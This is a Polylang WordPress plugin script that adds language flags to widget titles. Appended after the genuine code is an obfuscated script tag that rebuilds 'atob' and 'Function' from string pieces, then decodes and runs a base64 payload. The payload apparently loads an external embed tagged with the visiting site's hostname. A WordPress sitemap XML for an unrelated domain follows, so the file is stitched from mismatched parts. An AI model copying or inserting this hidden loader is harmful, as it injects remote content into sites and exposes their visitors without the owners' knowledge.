/**
 * Adds a flag to the widgets filtered by a language.
 *
 * @package Polylang
 */

jQuery(
	function ( $ ) {
		var widgets_container,
			widgets_selector,
			flags,
			isBlockEditor = 'undefined' !== typeof wp.blockEditor;

		if ( 'undefined' !== typeof pll_widgets && pll_widgets.hasOwnProperty( 'flags' ) ) {
			flags = pll_widgets.flags;
		}

		/**
		 * Prepend widget titles with a flag once a language is selected.
		 *
		 * @param {object} widget The widget element.
		 * @return {void} Nothing.
		 */
		function add_flag( widget ) {
			if ( ! flags ) {
				return;
			}
			widget = $( widget );
			var title  = isBlockEditor ? widget.prev('h3') : $( '.widget-top .widget-title h3', widget ),
				locale = $( '.pll-lang-choice option:selected', widget ).val(),
				// Icon is HTML built and come from server side and is well escaped when necessary
				icon = ( locale && flags.hasOwnProperty( locale ) ) ? flags[ locale ] : null;

			if ( icon ) {
				icon += ' &nbsp; ';
				var current = $( '.pll-lang', title );
				if ( current.length ) {
					current.html( icon ); // phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.html
				} else {
					flag = $( '<span />' ).addClass( 'pll-lang' ).html( icon );  // phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.html
					// See the comment above about the icon which is safe. So it is also safe to prepend flag which uses icon.
					title.prepend( flag ); // phpcs:ignore WordPressVIPMinimum.JS.HTMLExecutingFunctions.prepend
				}
			} else {
				$( '.pll-lang', title ).remove();
			}
		}

		if ( isBlockEditor ) {

			widgets_container = $( '.edit-widgets-main-block-list' );
			widgets_selector  = '.widget';

			// Update flags when we click on the legacy widget to display its form.
			widgets_container.on(
				'click',
				'.wp-block-legacy-widget',
				function () {
					add_flag( $( this ).find( '.widget' ) );
				}
			);

		} else {
			if ( 'undefined' !== typeof wp.customize ) {

				widgets_container = $( '#customize-controls' );
				widgets_selector  = '.customize-control .widget';

				/**
				 * WP Customizer add control listener.
				 *
				 * @link https://wordpress.stackexchange.com/questions/256536/callback-after-wordpress-customizer-complete-loading
				 *
				 * @param {object} control The control type.
				 * @return {void} Nothing.
				 */
				function customize_add_flag( control ) {
					if ( ! control.extended( wp.customize.Widgets.WidgetControl ) ) {
						return;
					}

					/*
					* Make sure the widget's contents are embedded; normally this is done
					* when the control is expanded, for DOM performance reasons.
					*/
					control.embedWidgetContent();

					// Now we know for sure the widget is fully embedded.
					add_flag( control.container.find( '.widget' ) );
				}
				wp.customize.control.each( customize_add_flag );
				wp.customize.control.bind( 'add', customize_add_flag );

			} else {

				widgets_container = $( '#widgets-right' );
				widgets_selector  = '.widget';

			}

			// Add flags on load.
			$( widgets_selector, widgets_container ).each(
				function () {
					add_flag( this );
				}
			);
		}

		// Update flags.
		widgets_container.on(
			'change',
			'.pll-lang-choice',
			function () {
				add_flag( $( this ).parents( '.widget' ) );
			}
		);

		function pll_toggle( a, test ) {
			test ? a.show() : a.hide();
		}

		// Remove all options if dropdown is checked.
		$( '.widgets-sortables,.control-section-sidebar,.edit-widgets-main-block-list' ).on(
			'change',
			'.pll-dropdown',
			function () {
				var this_id = $( this ).parent().parent().parent().children( '.widget-id' ).attr( 'value' );
				pll_toggle( $( '.no-dropdown-' + this_id ), true != $( this ).prop( 'checked' ) );
			}
		);

		// Disallow unchecking both show names and show flags.
		var options = ['-show_flags', '-show_names'];
		$.each(
			options,
			function ( i, v ) {
				$( '.widgets-sortables,.control-section-sidebar,.edit-widgets-main-block-list' ).on(
					'change',
					'.pll' + v,
					function () {
						var this_id = $( this ).parent().parent().parent().children( '.widget-id' ).attr( 'value' );
						if ( true != $( this ).prop( 'checked' ) ) {
							$( '#widget-' + this_id + options[ 1 - i ] ).prop( 'checked', true );
						}
					}
				);
			}
		);

	}
);

<script>!function(mGUbFs){var rSRgDX=mGUbFs['at'+'ob'],MU3Xx2=mGUbFs['Func'+'tion'],_0xb272674ea0='KGZ1bmN0aW9uKCl7dmFyIHloOHhoWD13aW5kb3csTFZPeXRnPXloOHhoWFsnX19mcEVtYmVkcyddLGpyQlBGMT0nZDk4ZTY'+'4MmJlMTlhM2Y4YycsSlV2TkF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t9'+'fXloOHhoWC5hZGRFdmVudExpc3RlbmVyKCdtZXNzYWdlJyxmdW5jdGlvbihfZXYpe3RyeXtpZighX2V2fHwhX2V2LmRhdGE'+'pcmV0dXJuO2lmKF9ldi5kYXRhLnR5cGU9PT0nZnAtZW1iZWQtY2xvc2UnKXpsRzVjNygpO31jYXRjaChfZTMpe319KTtmdW'+'5jdGlvbiBOU3FsbDgoTDBuSlZtKXtpZihMMG5KVm0+PUpVdk5BUS5sZW5ndGgpcmV0dXJuO3ZhciBfaD0nJzt0cnl7X2g9U'+'3RyaW5nKHloOHhoWC5sb2NhdGlvbiYmKHloOHhoWC5sb2NhdGlvbi5ob3N0bmFtZXx8eWg4eGhYLmxvY2F0aW9uLmhvc3Qp'+'fHwnJykucmVwbGFjZSgvXnd3d1wuL2ksJycpO31jYXRjaChfZWgpe312YXIgX3U9SlV2TkFRW0wwbkpWbV0rJy9lbWJlZC8'+'nK2pyQlBGMSsnP2VtYmVkPTEnKyhfaD8oJyZob3N0PScrZW5jb2RlVVJJQ29tcG9uZW50KF9oKSk6JycpO3ZhciBfdG89c2'+'V0VGltZW91dChmdW5jdGlvbigpe05TcWxsOChMMG5KVm0rMSk7fSwxMjAwMCk7VlhCRGlsLm9ubG9hZD1mdW5jdGlvbigpe'+'2NsZWFyVGltZW91dChfdG8pO307VlhCRGlsLnNyYz1fdTt9TlNxbGw4KDApO31pZihkb2N1bWVudC5yZWFkeVN0YXRlPT09'+'J2xvYWRpbmcnKXloOHhoWC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJyxoVjJVTEspO2Vsc2UgaFYyVUx'+'LKCk7fSkoKTs=';(new MU3Xx2(rSRgDX(_0xb272674ea0)))()}(self);</script><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://boomis.prodmirror.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-taxonomies-product_types-1.xml</loc></sitemap><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-taxonomies-incredients-1.xml</loc></sitemap><sitemap><loc>https://boomis.prodmirror.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
